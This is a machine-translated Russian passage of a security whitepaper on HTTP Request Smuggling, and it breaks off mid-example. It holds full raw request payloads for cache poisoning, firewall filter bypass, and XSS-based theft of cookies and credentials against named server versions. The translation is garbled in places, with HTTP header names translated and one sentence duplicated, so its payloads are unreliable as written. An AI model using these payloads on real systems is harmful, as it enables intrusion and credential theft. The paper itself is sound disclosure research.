КОНТРАБАНДА HTTP-ЗАПРОСОВ

Хаим Линхарт (chaiml@post.tau.ac.il)
Амит Кляйн (aksecurity@hotpop.com)
Ронен Хелед
и Стив Оррин (sorrin@ix.netcom.com)

Техническое описание от компании Watchfire

ОГЛАВЛЕНИЕ

Аннотация

Этот документ подводит итог нашей работы над HTTP Request Smuggling, новой техникой атаки, которая имеет
недавно появился. Мы опишем эту технику и объясним, когда она может сработать и какой вред может нанести.

Данная статья предполагает, что читатель знаком с основами HTTP. Если это не так, читателя отсылают к HTTP/1.1 RFC [4].

Исполнительный Резюме

Мы описываем новую технику атаки на веб-сущности - "Контрабанда HTTP-запросов". Эта техника атаки, а также
производные атаки актуальны для большинства веб-среды и являются результатом того, что HTTP-сервер или устройство не могут должным образом обработать неправильно сформированные входящие HTTP-запросы.

HTTP Request Smuggling работает, используя расхождения в анализе, когда одно или несколько устройств/существ HTTP (например, кэш-сервер, прокси-сервер, брандмауэр веб-приложения и т.д.) находятся в потоке данных между пользователем и веб-сервером. HTTP Request Smuggling позволяет осуществлять различные атаки - отравление веб-кэша, перехват сеанса, межсайтовый скриптинг и, самое главное, возможность обойти защиту брандмауэра веб-приложения. Он отправляет несколько специально составленных HTTP-запросов, в результате чего два атакуемых объекта видят два разных набора запросов, что позволяет хакеру пронести запрос на одно устройство без ведома другого устройства. В атаке отравления веб-кэша этот контрабандный запрос обманывает сервер кэша, заставляя его непреднамеренно ассоциировать URL-адрес со страницей (содержимым) другого URL-адреса и кэшировать это содержимое для URL-адреса. При атаке брандмауэра веб-приложения контрабандный запрос может быть червем (например, Nimda или Code Red) или атакой переполнения буфера, направленной на веб-сервер. Наконец, поскольку HTTP Request Smuggling позволяет злоумышленнику вставить или протащить запрос в поток, он может манипулировать последовательностью запросов/ответов веб-сервера, что может привести к перехвату учетных данных и другим вредоносным последствиям.

Что такое контрабанда HTTP-запросов ?

HTTP Request Smuggling ("HRS") - это новая хакерская техника, направленная на HTTP-устройства. Действительно, всякий раз, когда
HTTP-запросы, исходящие от клиента, проходят через более чем одну структуру, которая их анализирует, то велика вероятность, что эти структуры уязвимы для HRS. В рамках данной статьи мы демонстрируем HRS в трех общих ситуациях: (i) сервер веб-кэша (прокси), развернутый между клиентом и веб-сервером (W/S); (ii) брандмауэр (F/W), защищающий W/S; и (iii) сервер веб-прокси (не обязательно кэширующий), развернутый между клиентом и W/S.

HRS отправляет несколько специально созданных HTTP-запросов, в результате чего два атакуемых устройства видят разные наборы запросов, что позволяет хакеру тайно передать запрос на одно устройство без ведома другого устройства.

HRS опирается на методы, схожие с теми, что были изложены в предыдущих белых книгах.[1] Однако, в отличие, например, от HTTP Splitting, для эффективности HRS не требуется наличие уязвимости приложения, например, уязвимой asp-страницы на W/S. Вместо этого HRS может использовать небольшие расхождения в том, как HTTP-устройства обрабатывают незаконные или пограничные запросы. Вместо этого, он способен использовать небольшие расхождения в том, как HTTP-устройства обрабатывают незаконные или пограничные запросы. В результате HRS может быть успешно использована на значительно большем количестве сайтов, чем многие другие атаки.

Какой ущерб может нанести HRS ?

Как мы пытаемся показать, в условиях кэш-сервера и W/S злоумышленник может осуществить контрабандную атаку в режиме
чтобы отравить сервер кэша. Как правило, злоумышленник может изменить записи в кэше таким образом, что существующая (и доступная для кэширования) страница *A* будет кэшироваться под URL *B*. Другими словами, клиент, запрашивающий страницу *B, получит* содержимое страницы *A*. Очевидно, что такое изменение "проводки" может сделать сайт полностью непригодным для использования. Представьте себе, что произойдет, если домашняя страница сайта http://SITE/ всегда будет отвечать содержимым страницы http://SITE/request_denied.html. На сайтах, позволяющих клиенту загружать собственные HTML-страницы и/или изображения, ущерб может быть гораздо серьезнее, поскольку хакер может направить URL-адреса сайта на свои загруженные страницы, эффективно деформируя сайт.

Во втором случае, который мы рассмотрели, когда F/W веб-приложения устанавливается перед W/S, контрабанда может обойти некоторые средства защиты F/W веб-приложений. Это происходит потому, что F/W не применяет некоторые из своих правил безопасности веб-приложения к контрабандному запросу, поскольку не видит его, как мы объясним ниже. Это позволяет злоумышленнику пронести вредоносные запросы (например, атаки типа "червь", переполнение буфера и т.д.), которые непосредственно нарушают безопасность W/S. В отличие от атаки отравления веб-кэша в первом примере, где атакуемым объектом был сервер кэша, в данном случае атакуемым объектом является сам W/S.

В третьем случае, когда клиенты используют прокси-сервер, имеющий общее TCP-соединение с W/S, один клиент (злоумышленник) может отправить запрос на W/S с учетными данными второго клиента. Также возможно использовать уязвимость в веб-приложении (используя ту же фундаментальную уязвимость, которая используется в атаках межсайтового скриптинга, называемых XSS [7,8]) для кражи учетных данных клиента без необходимости реального контакта с клиентом, что делает эту атаку

потенциально более сильной, чем межсайтовый скриптинг.

[1] См. ссылки [1-3].

Пример №1: отравление веб-кэша (контрабанда HTTP-запросов через сервер веб-кэша)

Наш первый пример демонстрирует классическую HRS-атаку. Предположим, что POST-запрос содержит два "Content-
Length" заголовки с противоречивыми значениями. Некоторые серверы (например, IIS и Apache) отклоняют такой запрос, но оказывается, что другие предпочитают игнорировать проблемный заголовок. Какой из двух заголовков является проблемным? К счастью для злоумышленника, разные серверы выбирают разные ответы. Например, SunONE W/S 6.1 (SP1) использует первый заголовок "Content-Length", а SunONE Proxy 3.6 (SP4) - второй (обратите внимание, что оба приложения относятся к семейству SunONE).

Пусть SITE - это DNS-имя W/S SunONE за SunONE Proxy. Предположим, что "/poison.html" - это статическая (кэшируемая) HTML-страница на W/S. Вот атака HRS, использующая несоответствие между двумя серверами:

```
1     POST http://SITE/foobar.html HTTP/1.1
2     Хозяин: САЙТ
3     Соединение: Keep-Alive
4     Content-Type: application/x-www-form-urlencoded
5     Content-Length: 0
6     Content-Length: 44
7     [CRLF]
8     GET /poison.html HTTP/1.1
9     Хозяин: САЙТ
10    Bla: [пробел после "Bla:", но без CRLF].
11    GET http://SITE/page_to_poison.html HTTP/1.1
12    Хозяин: САЙТ
13    Соединение: Keep-Alive
14    [CRLF]
```

[Обратите внимание, что каждая строка заканчивается символом CRLF ("\r\n"), кроме строки 10].

Давайте рассмотрим, что происходит, когда этот запрос отправляется на W/S через прокси-сервер. Сначала прокси-сервер анализирует POST-запрос в строках 1-7 (выделены синим цветом) и встречает два заголовка "Content-Length". Как мы уже говорили, он решает проигнорировать первый заголовок, поэтому он считает, что запрос имеет тело длиной 44 байта. Поэтому он рассматривает данные в строках 8-10 как тело первого запроса (строки 8-10, выделенные фиолетовым цветом, содержат ровно 44 байта). Затем прокси разбирает строки 11-14 (красные), которые он рассматривает как второй запрос клиента. Теперь посмотрим, как W/S интерпретирует ту же полезную нагрузку, после того как она была передана ему прокси. В отличие от прокси, W/S использует первый заголовок "Content-Length": по его мнению, первый POST-запрос не имеет тела, а второй запрос - это GET в строке 8 (обратите внимание, что GET в строке 11 анализируется W/S как значение заголовка "Bla" в строке 10). Подводя итог, вот как данные разделяются двумя серверами:

	1st запрос	2nd запрос
SunONE Proxy	строки 1-10	строки 11-14
SunONE W/S	строки 1-7	строки 8-14

Далее посмотрим, какие ответы отправляются обратно клиенту. Запросы, которые видит W/S, это "POST /foobar.html" (из строки 1) и "GET /poison.html" (из строки 8), поэтому он отправляет обратно два

ответа с содержимым страницы "foobar.html" и страницы "poison.html", соответственно. Прокси соответствует этим

ответы на два запроса, которые, по его мнению, были отправлены клиентом - "POST /foobar.html" (строка 1) и "GET
/page_to_poison.html" (строка 11). Поскольку ответ является кэшируемым (мы предположили, что "poison.html" - это кэшируемая страница), прокси кэширует содержимое "poison.html" под URL "page_to_poison.html", и *вуаля* - кэш отравлен! Любой клиент, запрашивающий "page_to_poison.html" у прокси, получит страницу "poison.html".
Техническое примечание: строки 1-10 и 11-14 должны быть отправлены в двух отдельных пакетах, поскольку SunONE Proxy не обрабатывает запросы в одном пакете.

Особые случаи: более мощные атаки
Гораздо более мощное повреждение может быть достигнуто, если атакуемый сайт разделяет свой IP-адрес с другим сайтом (под контролем атакующего) - как это обычно происходит в сценарии совместного (виртуального) хостинга. В этом случае прокси-сервер может разделять TCP-соединение с "сервером" (идентифицируемым по IP-адресу), даже если логически трафик может быть предназначен для разных сайтов. Тогда злоумышленнику достаточно создать свой собственный сайт (с тем же IP-адресом, что и атакуемый сайт) и использовать заголовок Host (строка 9), указывающий на этот сайт (например, "Host: evil.site").

Другой вариант - использование прокси-запроса (при условии, что внутренний веб-сервер готов его обслуживать), т.е. в строке 8 отправьте "GET http://evil.site/page.html ...".

Оба метода позволяют злоумышленнику получить полный контроль над кэшированным содержимым.

Пример №2: Обход брандмауэра/IPS/IDS (контрабанда HTTP-запросов через FW-1)

FW-1 компании CheckPoint (тестируемая конфигурация: FW-1/FP4-R55W beta) поставляется в комплекте с Web Intelligence - набором
функции безопасности для уровня веб-приложений. Эти функции включают множество видов статических проверок, которые выполняются при каждом веб-запросе. Например, HTTP worm catcher - это набор заранее определенных регулярных выражений, которые обнаруживают известных червей, таких как "cmd.exe" в URL (червь Nimda). Другой пример - функция обхода каталогов: FW-1 не позволяет заходить глубже корневого узла в URL (например, "/a/b/.../p.html" - это нормально, а "/a/.../.../p.html" - нет).

Web Intelligence включает в себя в общей сложности около 13 различных средств защиты, среди которых защита от SQL-инъекций и защита от XSS. Эти средства защиты реализованы в виде сигнатур, которые сопоставляются с запросом и телом HTTP-запроса. Оказалось, что с помощью HRS можно обойти большинство этих защитных механизмов. Сейчас мы покажем, как это можно сделать, когда FW-1 защищает IIS/5.0.

Похоже, что существует ошибка в том, как IIS/5.0 обрабатывает POST-запрос с большим телом: странно, но IIS/5.0 молча усекает тело после 48K (49,152 байт), когда ContentType запроса не является одним из ожидаемых типов (например, ожидаемый тип ресурса .asp - "application/x-www-form-urlencoded"). Таким образом, отправив POST-запрос на страницу .asp с длиной тела 48K+x, мы можем пронести запрос в последних x байтах тела. FW-1 воспринимает его как часть тела, в то время как IIS/5.0 воспринимает его как новый запрос.
Используя некоторые дополнительные приемы, мы можем обойти не только проверки, которые FW-1 выполняет для URL, но и те, которые применяются к телу. Пусть "/page.asp" - это страница .asp на веб-

сервере. Предположим, мы отправим следующий пакет на сервер (через FW-1):

```
1      POST /page.asp HTTP/1.1
2      Ведущий: хаим
```



```
3     Соединение: Keep-Alive
4     Content-Length: 49223
5     [CRLF]
6     zzz...zzz ["z" x 49152].
7     POST /page.asp HTTP/1.0
8     Соединение: Keep-Alive
9     Content-Length: 30
10    [CRLF]
11    POST /page.asp HTTP/1.0
12    Bla: [пробел после "Bla:", но без CRLF].
13    POST /page.asp?cmd.exe HTTP/1.0
14    Соединение: Keep-Alive
15    [CRLF]
```

[Обратите внимание, что каждая строка заканчивается символом CRLF ("\r\n"), кроме строки 12].

Теперь мы проанализируем, как этот пакет разбирается FW-1 и IIS/5.0. Поскольку первый запрос имеет content-length 49 223 байта, FW-1 рассматривает строку 6 (49 152 копии "z") и строки 7-10 (фиолетового цвета, всего 71 байт) как его тело (49 152+71=49 223). Затем FW-1 продолжает разбирать второй запрос в строке 11. Обратите внимание, что нет CRLF после "Bla: " в строке 12, поэтому POST в строке 13 разбирается как значение заголовка "Bla:", и запрос заканчивается в строке 15. Таким образом, хотя строка 13 содержит шаблон, идентифицированный с червем Nimda ("cmd.exe"), он не блокируется, поскольку считается частью значения заголовка, а не URL (и не частью тела, к которому также применяются некоторые проверки безопасности). Таким образом, мы протащили "cmd.exe" через проверку FW-1. Чтобы завершить наш взлом, нам нужно показать, что строка 13 разбирается IIS/5.0 как строка запроса (т.е. строка "/page.asp?cmd.exe" передается как URL). Давайте проследим за парсером IIS/5.0 со строки 1: первый запрос - это POST-запрос для страницы .asp, но он не содержит ожидаемого "Content-Type:
application/x-www-form-urlencoded" заголовок. Таким образом, IIS/5.0 ошибочно завершает тело после 49 152 байт и начинает разбор второго запроса со строки 7. Этот запрос имеет content-length 30 байт, что в точности соответствует длине строк 11-12 (т.е. эти строки составляют тело второго запроса). Наконец, строки 13-15 разбираются как третий запрос, что означает, что нам удалось пронести червя "cmd.exe" через FW-1 на IIS/5.0!

В приведенной ниже таблице кратко описано, как каждый сервер разбирает пакет:

	1-й запрос	2-й запрос	3-я просьба
FW-1 R55W	строки 1-10	строки 11-15	-
IIS/5.0	строки 1-6	строки 7-12	строки 13-15

Приведенный выше трюк с контрабандой 48K можно использовать для обхода других функций Web Intelligence, а не только ловца червей, таких как обход каталога, максимальная длина URL, XSS, ресурс URI и внедрение команд.

Пример #3: Вперед и назад HRS

Типичная HRS-атака состоит из нескольких запросов (обычно не менее 3), из которых просматривается определенное подмножество
(т.е. анализируются как реальные запросы) W/S, а другое подмножество видит кэш/брандмауэр, как мы продемонстрировали в вышеприведенных примерах.

Вот как выглядит общий случай (метод HTTP, конечно, может быть POST вместо GET, или смесь этих двух методов, или, возможно, другие методы):


```
1    ПОЛУЧ /req1 HTTP/1.0       <-- виде по W/S и кэш
       ИТЬ                           л
2      ...
3    ПОЛУЧ /req2 HTTP/1.0       <-- виде по W/S
       ИТЬ                           л   ад
                                         ре
                                         су
4      ...
5    ПОЛУЧ /req3 HTTP/1.0       <-- виде по кэш
       ИТЬ                           л
6      ...
```

Символ "..." обозначает различные заголовки и/или данные тела. В двух приведенных нами примерах W/S видел запросы req1 и req2, в то время как кэш/брандмауэр видел запросы req1 и req3. Запрос req2 был передан W/S контрабандой. Этот тип контрабанды называется *контрабандой вперед*. Теперь читатель может сделать вывод, что существует и *обратная контрабанда*. Разница в том, что при обратной контрабанде W/S видит запросы req1 и req3, а кэш/брандмауэр видит req1 и req2, как показано ниже:

```
1    ПОЛУЧ /req1 HTTP/1.0       <-- виде по W/S и кэш
       ИТЬ                           л
2      ...
3    ПОЛУЧ /req2 HTTP/1.0       <-- виде по кэш
       ИТЬ                           л
4      ...
5    ПОЛУЧ /req3 HTTP/1.0       <-- виде по W/S
       ИТЬ                           л
6      ...
```

При обратной контрабанде запрос req3 передается контрабандой в W/S. Этот тип HRS сложнее разработать, поскольку он возможен только в тех случаях, когда W/S отвечает на первый запрос до получения всего запроса. Как правило, кэш-сервер не пересылает запрос req2 в W/S до того, как получит ответ на первый запрос. Поскольку W/S считает, что запрос req2 является частью первого запроса, он обычно не отвечает до того, как сервер кэша отправит ему req2. В результате может возникнуть тупик. Однако, как показывает следующий пример, это не всегда так. Приведенный ниже пример работает для кэш-сервера DeleGate/8.9.2 и IIS/6.0 или Tomcat или SunONE web-server/6.1:

На этот раз хитрость заключается в отправке GET-запроса с заголовком "Content-Length: *n*". DeleGate предполагает, что длина содержимого GET-запросов всегда равна 0 (т.е. у них нет тела), но, к счастью для нас, он все равно отправляет оригинальный заголовок "Content-Length: *n*". W/S, с другой стороны, рассматривает запрос как имеющий тело длиной *n*, хотя он отправляет ответ *до* получения тела, что делает возможным обратную контрабанду в этом случае. Вот полный вариант атаки (опять же, мы предполагаем, что SITE - это DNS-имя W/S, а "/poison.html" - это статическая кэшируемая HTML-страница на W/S):

```
1    GET http://SITE/foobar.html HTTP/1.1
2    Соединение: Keep-Alive
3    Хозяин: САЙТ
4    Content-Type: application/x-www-form-urlencoded
5    Content-Length: 40
6    [CRLF]
7    GET http://SITE/page_to_poison.html HTTP/1.1
8    Bla: [пробел после "Bla:", но без CRLF].
9    GET /poison.html HTTP/1.0
```



```
10      [CRLF]
```

[Опять же, каждая строка заканчивается CRLF ("\r\n"), кроме строки 8].

DeleGate игнорирует заголовок "Content-Length: 40" в строке 5 и считает, что первый запрос не имеет тела. Поэтому он считает, что второй запрос - это "page_to_poison.html" (строка 7) - этот запрос заканчивается на строке 10 (GET в строке 9 - это значение заголовка "Bla:").

W/S воспринимает первый запрос как тело длиной 32 (напомним, что он отвечает до получения тела) - именно такова длина строк 7-8, после того как префикс "http://SITE" был удален из URL с помощью DeleGate. Итак, W/S разбирает строки 1-8 как первый запрос, а строки 9-10 как второй запрос. Его второй ответ, на "poison.html" (строка 9), кэшируется DeleGate как ответ на "page_to_poison.html", и снова кэш отравлен!

Техническое примечание: строки 1-6 и 7-10 должны быть отправлены в двух отдельных пакетах.

Пример #4: Перехват запросов (контрабанда HTTP-запросов посредством Прокси-сервер)

Техника контрабанды запросов может быть модифицирована для достижения несколько иной цели: злоумышленник может
использование проблемы безопасности на сайте (скрипт/страница, уязвимая к межсайтовому скриптингу) для проведения атаки, подобной XSS. Эта атака обычно более мощная, чем XSS, потому что:

1. Она не требует от злоумышленника какого-либо взаимодействия с клиентом.
2. Куки HttpOnly и информация HTTP-аутентификации могут быть украдены напрямую (нет необходимости в поддержке TRACE на сервере), что делает эту атаку "хуже", чем атака межсайтовой трассировки [5].

Существуют некоторые различия в предварительных условиях между Request Hijacking и базовой контрабандой запросов, рассмотренной ранее:

1. Перехват запроса требует, чтобы промежуточное устройство (прокси-сервер) разделяло клиентские соединения с сервером (в отличие от отравления веб-кэша, перехват запроса не требует, чтобы прокси-сервер осуществлял кэширование).
2. Для перехвата запросов требуется наличие XSS-уязвимости в веб-сервере.

Предположим, что файл /vuln_page.jsp известен как уязвимый к XSS в параметре "data". Рассмотрим следующую атаку:

```
1     POST /some_script.jsp HTTP/1.0
2     Соединение: Keep-Alive
3     Content-Type: application/x-www-form-urlencoded
4     Content-Length: 9
5     Content-Length: 204
6
7     this=thatPOST /vuln_page.jsp HTTP/1.0
8     Content-Type: application/x-www-form-urlencoded
9     Content-Length: 95
10
11    param1=value1&data=<script>alert("stealing%20your%20data:"%
      2bdocument.cookie)</script>&foobar=
```


Это будет обработано прокси-сервером Microsoft ISA/2000 как один POST-запрос, длина тела которого составляет 204 байта (строки 1-11). Сервер веб-приложений Tomcat интерпретирует его как один полный HTTP POST запрос, длина тела которого составляет 9 байт (строки 1-7, включая "this=that" в строке 7), и один неполный POST запрос, заявленная длина тела которого составляет 95 байт, но предоставлено только 94 байта (строки 7-11, исключая "this=that" в строке 7). Первый (полный) запрос вызывает ответ (который отправляется ISA злоумышленнику). Неполный запрос ставится в очередь Tomcat.

Когда ISA получает запрос от клиента (например, GET-запрос), этот запрос передается Tomcat, который воспринимает первый байт как завершение поставленного в очередь запроса и рассматривает остальные данные как недействительный HTTP-запрос. Tomcat отправляет ответ на полный запрос в ISA.
Запрос таков:

```
POST /vuln_page.jsp HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 95

param1=value1&data=<script>alert("stealing%20your%20data:"%2bdocument.cookie)</sc
ript>&foobar=G
```

Обратите внимание, что клиент получит HTML-страницу с вредоносным кодом Javascript:

```
<script>alert("кража ваших данных: "+document.cookie)</script>
```

Но это лишь демонстрирует, как вредоносный Javascript может быть запущен в браузере клиента. Это не показывает, что можно украсть куки HttpOnly и информацию HTTP-аутентификации. Для этого необходимы некоторые дополнительные уловки. Как видно, запрос злоумышленника непосредственно предшествует запросу жертвы. Поскольку запрос жертвы обычно содержит нужные злоумышленнику данные в HTTP-заголовках, атакующий может тщательно вычислить Content-Length, чтобы вместить эти данные внутрь данных, которые эхом возвращаются в HTML-поток. Как только эти данные окажутся на странице ответа, следующий код Javascript может извлечь их (обратите внимание, что он использовал событие window onload для выполнения после загрузки страницы, и что он перебирает все textNodes и объединяет их в одну строку, префикс которой представляет интерес для злоумышленника):

```
window.onload=function()
{
	str="";
	for(i=0;i<document.all.length;i++)
	{
		for(j=0;j<document.all(i).childNodes.length;j++)
		{
			if(document.all(i).childNodes(j).nodeType==3)
			{
				str+=document.all(i).childNodes(j).data;
			}
		}
	}
	alert(str.substr(0,300));
```

Таким образом, злоумышленнику необходимо лишь слегка модифицировать атаку:

```
POST /some_script.jsp HTTP/1.0
```


Соединение: Keep-Alive


```
Content-Type: application/x-www-form-urlencoded
Content-Length: 9
Content-Length: 388

this=thatPOST /vuln_page.jsp HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 577

param1=value1&data=<script>window.onload=function(){str="";for(i=0;i<document.all
.length;i%2B%2B){for(j=0;j<document.all(i).childNodes.length;j%2B%2B){if(document
.all(i).childNodes(j).nodeType==3){str%2B=document.all(i).childNodes(j).data;}}}a
lert(str.substr(0,300));}</script>
```

Обратите внимание, что в неполном HTTP-запросе содержится только 277 байт, поэтому злоумышленник возьмет первые 300 (произвольное число, по выбору атакующего) байт из запроса жертвы и отправит их обратно в поток HTML-ответа, который будет передан клиенту. Как только этот поток попадет в браузер клиента, будет выполнен вредоносный код Javascript, который вырежет эти 300 байт из HTML-страницы и отправит их злоумышленнику. Эти первые 300 байт обычно содержат заголовки HTTP-запросов, такие как Cookie (содержащие cookies клиента) и Authorization (содержащие учетные данные HTTP-аутентификации клиента), а также URL, запрошенный клиентом (который может содержать конфиденциальную информацию, включая токены сессий URL и конфиденциальную информацию, размещенную жертвой).

Пример №5: Перехват мандата запроса (контрабанда HTTP-запросов через прокси-сервер)

Другой областью интереса является возможность злоумышленника принудительно вызвать скрипт (/some_page.jsp) с параметром
учетные данные клиента. По своему действию эта атака похожа на атаку Cross-Site Request Forgery [6], но она более мощная, поскольку атакующему не требуется взаимодействовать с клиентом (жертвой).

Атака происходит следующим образом:

```
POST /some_script.jsp HTTP/1.0
Соединение: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 9
Content-Length: 142

this=thatGET /some_page.jsp?param1=value1&param2=value2 HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Foobar:
```

Когда клиент отправляет запрос, например:

```
GET /mypage.jsp HTTP/1.0
Cookie: my_id=1234567
Авторизация: Basic ugwerwguwygruwy
```

Tomcat склеит его с поставленным в очередь незавершенным запросом, и все вместе они будут иметь:

```
GET /some_page.jsp?param1=value1&param2=value2
HTTP/1.0 Content-Type: application/x-www-form-
urlencoded
Content-Length: 0
Foobar: GET /mypage.jsp HTTP/1.0
```



```
Cookie: my_id=1234567
Авторизация: Basic ugwerwguwygruwy
```

Теперь полный запрос вызовет сценарий /some_page.jsp и вернет его результаты клиенту. Если этот сценарий представляет собой запрос на смену пароля или перевод денег на счет злоумышленника, то это может нанести серьезный ущерб клиенту.

HRS Техники

До сих пор мы видели (и использовали) 3 аномалии в разборе HTTP-запросов:

1. Два разных заголовка Content-Length (примеры #1, #4 и #5)
2. GET-запрос с Content-Length (пример №3)
3. Аномалия 48 КБ в IIS/5.0 (пример №2)

Существует еще несколько подобных аномалий, которые мы сочли эффективными. В большинстве случаев пара из прокси/кэш/файрволл-сервера и веб-сервера может быть атакована с помощью одной или нескольких техник, но обычно не все техники применимы к данной паре.

Ниже мы приводим список аномалий (и техник) для HRS с парами, которые мы нашли уязвимыми для них. Обратите внимание, что это частичные результаты (т.е. для многих техник мы не проверяли все пары). Это означает, что пар, уязвимых для HRS, может быть гораздо больше, чем показано ниже.

1. **Двойной заголовок Content-Length**
   Аномалия в данном случае очевидна - злоумышленник отправляет запрос с двумя заголовками Content-Length[2]. Если кэш-сервер и веб-сервер не используют один и тот же заголовок, то HRS возможен.

   a. Кэш-сервер использует последний заголовок Content-Length, в то время как веб-сервер использует первый заголовок Content-Length (примеры #1, #4 и #5). Было замечено, что следующие кэш-серверы используют последний заголовок Content-Length:

   - Microsoft ISA/2000
   - Sun Microsystems SunONE 3.6 SP4

   Было замечено, что следующие веб-серверы используют первый заголовок Content-Length:

   - Jakarta Tomcat 5.0.19 (Coyote/1.1)
   - Tomcat 4.1.24 (Coyote/1.0)
   - Веб-сервер Sun Microsystems SunONE 6.1 SP1

   Были протестированы все 6 комбинаций кэш-серверов (2) и веб-серверов (3), и все они оказались уязвимы к атаке. Особый интерес представляет комбинация прокси-сервера Sun Microsystems SunONE 3.6 SP4 с веб-сервером SunONE 6.1 SP1 того же производителя.

   b. В качестве варианта 1a, в некоторых случаях прямая контрабандная атака не удается, и возможна только обратная контрабандная атака. Это происходит с популярным коммерческим устройством кэширования (чья личность нам запрещено раскрывать; здесь обозначается как PCCA) и Jakarta Tomcat 5.0.19 (Coyote/1.1). Хотя PCCA действительно использует последний заголовок Content-Length, он будет пересылать

[2] HTTP/1.1 не допускает двух заголовков Content-Length (как можно понять из [4], раздел 4.2 - поскольку Content-Length не имеет списка значений).

запросы с body на отдельном соединении с веб-сервером, что делает атаку, описанную в пункте 1a, бесполезной. Единственный способ обойти это поведение - отправить запрос без body, а именно отправить второй заголовок Content-Length, содержащий значение "0". Однако это создает новую проблему: теперь мы отправляем запрос с двумя заголовками Content-Length, первый из которых имеет положительное значение, а второй - "0". Поэтому веб-сервер (который использует первое значение Content-Length) должен считать, что запрос не завершен, и в итоге мы получаем тупик. Однако оказалось, что некоторые веб-серверы, а именно IIS/6.0 и Tomcat, на самом деле ответят на запрос к статическому ресурсу (например, /index.html) до того, как тело запроса будет полностью получено. Это может быть использовано для обратной контрабанды, что нам и удалось продемонстрировать с помощью PCCA и Tomcat. Злоумышленнику нужно отправить первый запрос (к произвольной статической странице) с двумя заголовками Content-Length. Первый из них должен содержать длину второго запроса, которую увидит веб-сервер (т.е. которую передаст кэш-сервер). Второй Content-Length первого запроса должен иметь значение "0". Второй запрос - это запрос, определяющий ресурс, содержимое которого будет использовано для подмены. Затем, третий запрос обозначает ресурс, который будет подменен. Таким образом, содержимое ресурса, указанного во втором запросе, будет кэшироваться для URL ресурса, указанного в третьем запросе.

Вот пример атаки (при условии использования PCCA и Tomcat):

```
1     GET http://SITE/static_foobar.html HTTP/1.0
2     Content-Length: 71
3     Content-Length: 0
4     Соединение: Keep-Alive
5
6     GET http://SITE/page_to_poison.html HTTP/1.0
7     Хозяин: САЙТ
8     Соединение: Keep-Alive
9     GET /poison.html HTTP/1.0
10
```

PCCA использует последний заголовок Content-Length (строка 3) и поэтому пересылает строки 1-5 на сервер (Tomcat). Tomcat анализирует запрос, использует первый заголовок Content-Length (строка 2) и, таким образом, ожидает еще 71 байт. Однако, поскольку запрашиваемый ресурс (/static_foobar.html) является статическим, Tomcat также немедленно возвращает страницу на PCCA. PCCA пересылает этот ответ атакующему и отправляет следующий запрос, который он интерпретирует из входного потока - в данном случае строки 6-10 (запрос на /page_to_poison.html). Теперь Tomcat потребляет 71 байт (строки 6-8, но обратите внимание, что PCCA удаляет "http://SITE" из строки 6 при пересылке на веб-сервер), и поэтому Tomcat воспринимает второй запрос как строки 9-10. Поэтому Tomcat отвечает содержимым файла poison.html. Это сопоставляется PCCA с запросом page_to_poison.html, и отравление завершено.

c. Кэш-сервер использует первый заголовок Content-Length, а веб-сервер - последний заголовок Content-Length. Было замечено, что следующие кэш-серверы используют первый заголовок Content- Length:

- Squid 2.5stable4 (Unix)
- Squid 2.5stable5 (порт NT)
- Oracle WebCache 9.0.2

Было замечено, что следующий веб-сервер использует последний заголовок Content-Length:

- BEA Systems WebLogic 8.1 SP1

Все три комбинации были протестированы и показали уязвимость к атаке HRS.

2. **Запрос с заголовком "Transfer-Encoding: chunked" и заголовком "Content-Length: ..."**
   Apache 2.0.45, как оказалось, интересно реагирует на эту аномалию. Считается, что запрос, пришедший с обоими заголовками, имеет тело в кодировке chunked.[3] Это тело полностью считывается Apache, который собирает его в обычный (не chunked) запрос. По какой-то причине Apache не добавляет свой собственный заголовок Content-Length и не заменяет существующий заголовок Content-Length (если он есть). В результате запрос передается с оригинальным заголовком Content-Length (если он есть), без заголовка "Transfer-Encoding: chunked" и с телом, которое представляет собой совокупность всех частей тела исходного запроса. Очевидно, что это явление может привести к контрабанде запросов путем отправки заголовка "Content-Length: 0" и разбитого на части тела, содержащего контрабандный HTTP-запрос.

   Было показано, что атака прошла успешно с Apache 2.0.45 и следующими веб-серверами:
   - Microsoft IIS/6.0 и 5.0
   - Apache 2.0.45 (в качестве веб-сервера) и Apache 1.3.29
   - Jakarta Tomcat 5.0.19 (Coyote/1.1), Tomcat 4.1.24 (Coyote/1.0)
   - IBM WebSphere 5.1 и WebSphere 5.0
   - BEA Systems WebLogic 8.1 SP1
   - Oracle9iAS 9.0.2
   - Веб-сервер Sun Microsystems SunONE 6.1 SP1

   Следует отметить, что поведение Apache довольно странное, поскольку запрос, который он создает по умолчанию, не содержит заголовка Content-Length, что вызовет проблемы у большинства веб-серверов (которые в этом случае принимают Content-Length 0). То есть, когда обычный запрос с Transfer-Encoding: chunked отправляется через Apache, он придет на веб-сервер как запрос с обычным телом, но без Content-Length, что заставит большинство веб-серверов полностью игнорировать тело.

3. **Техника "двойной CR в заголовке HTTP" (и техника "header SP")**
   Эта техника использует аномалию в разборе HTTP-запросов. Строка заголовка, состоящая из одного CR, за которым следует последовательность CRLF, рассматривается некоторыми организациями как строка заголовка HTTP, в то время как другие организации рассматривают это как маркер конца заголовков.[4]

   Для того чтобы превратить эту технику в успешную атаку, нам нужно использовать другую технику. Здесь мы используем аномалию "header SP". Техника "header SP" может быть использована для использования различных способов, которыми некоторые организации обрабатывают HTTP-заголовки, содержащие пробелы между именем заголовка и символом двоеточия.

   Некоторые организации рассматривают "foo SP :" как заголовок с именем "foo", а другие - как заголовок с именем "foo" ("foo" с добавлением SP). Атака, которую мы опишем ниже, использует обе техники.

[3] HTTP/1.1 не разрешает запрос, содержащий одновременно "Content-Length" и "Content-Encoding: chunked", см. [4] раздел 4.4 - "Сообщения НЕ ДОЛЖНЫ включать поле заголовка Content-Length и неидентичное кодирование передачи".
[4] HTTP/1.1 не допускает таких строк заголовка в HTTP-запросах (см. [4] раздел 4.2 - строка, начинающаяся с CR, не соответствует формату заголовка message-).

Начнем с техники использования запроса с двойным CR в строке заголовка:

В частности, PCCA рассматривает этот запрос как имеющий заголовок "CR" и поэтому не завершает блок заголовков. IIS/5.0 завершает блок заголовков при определенном условии, которое мы опишем позже.
Техника "header SP" необходима для того, чтобы преодолеть тенденцию PCCA посылать запросы с телом через новое TCP-соединение, а также отказ IIS от запросов с двойными заголовками Content-Length.

Основная идея атаки заключается в следующем:

```
1     GET http://SITE/foobar.html HTTP/1.0
2     Соединение: keep-alive
3     [CR]
